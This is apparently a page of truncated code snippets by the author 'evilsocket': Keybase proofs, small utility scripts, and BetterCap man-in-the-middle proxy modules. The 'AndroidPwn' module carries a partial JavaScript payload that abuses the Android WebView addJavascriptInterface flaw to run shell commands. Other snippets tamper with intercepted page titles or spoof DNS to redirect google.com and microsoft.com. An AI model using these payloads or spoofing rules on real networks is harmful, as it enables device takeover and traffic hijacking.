evilsocket

<?php

$source  = 'wp.xml';
$siteurl = "http://www.evilsocket.net";

$doc = new DOMDocument();

$doc->load( $source );

$items = $doc->getElementsByTagName( "item" );

evilsocket

Keybase proof

I hereby claim:

• I am evilsocket on github.
• I am evilsocket (https://keybase.io/evilsocket) on keybase.
• I have a public key whose fingerprint is E242 9918 770E 94AD 9412 BFDC E244 814B C591 3655

To claim this, I am signing this object:

evilsocket

#!/bin/bash
#
# Periodically scan your network searching for your
# Raspberry Pi board and update your /etc/hosts file
# with its ip address.
#
# Copyleft by Simone 'evilsocket' Margaritelli
# http://www.evilsocket.net
# evilsocket at gmail dot com
#

evilsocket

arp = 
"? (192.168.1.117) at 00:92:d4:06:01:32 [ether] on enp2s0\n" +
"? (192.168.1.112) at <incomplete> on enp2s0\n" +
"? (192.168.1.127) at <incomplete> on enp2s0\n" +
"? (192.168.1.122) at <incomplete> on enp2s0\n" +
"? (192.168.1.121) at <incomplete> on enp2s0\n" +
"? (192.168.1.4) at <incomplete> on enp2s0\n" +
"? (192.168.1.3) at <incomplete> on enp2s0\n" +
"? (192.168.1.14) at <incomplete> on enp2s0\n" +
"? (192.168.1.13) at <incomplete> on enp2s0\n" +

evilsocket

public class WebViewGUI extends Activity {
  WebView mWebView;
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    mWebView=new WebView(this);
    mWebView.getSettings().setJavaScriptEnabled(true);
    mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
    mWebView.loadUrl("file:///android_asset/www/index.html");
    setContentView(mWebView);
  }

evilsocket

class AndroidPwn < BetterCap::Proxy::Module  
  @@command = nil
  @@payload = "<script>\n" +
              "var command = ['/system/bin/sh','-c','COMMAND_HERE'];\n" +
              "for(i in top) {\n" +
              " try {\n" +
              "   top[i].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);\n" +
              "   break;\n" +
              " }\n" +
              "catch(e) {}\n" +

evilsocket

Keybase proof

I hereby claim:

• I am evilsocket on github.
• I am evilsocket (https://keybase.io/evilsocket) on keybase.
• I have a public key whose fingerprint is 7F1A D5FA 2A51 87DF DD53 DDA9 1564 D7F3 0393 A456

To claim this, I am signing this object:

evilsocket

class HackTitle < BetterCap::Proxy::HTTP::Module
  meta(
    'Name'        => 'HackTitle',
    'Description' => 'Adds a "!!! HACKED !!!" string to every webpage title.',
    'Version'     => '1.0.0',
    'Author'      => "Simone 'evilsocket' Margaritelli",
    'License'     => 'GPL3'
  )
  
  # called before the request is performed

evilsocket

class Example < BetterCap::Proxy::TCP::Module
  meta(
    'Name'        => 'Example',
    'Description' => 'Example TCP proxy module.',
    'Version'     => '1.0.0',
    'Author'      => "Simone 'evilsocket' Margaritelli",
    'License'     => 'GPL3'
  )
  
  # Received when the victim is sending data to the upstream server.

evilsocket

# Empty lines or lines starting with # will be ignored.

# redirect *.google.com to the attacker ip address
local .*google\.com

# redirect *.microsoft.com to 10.10.10.10
10.10.10.10 .*microsoft\.com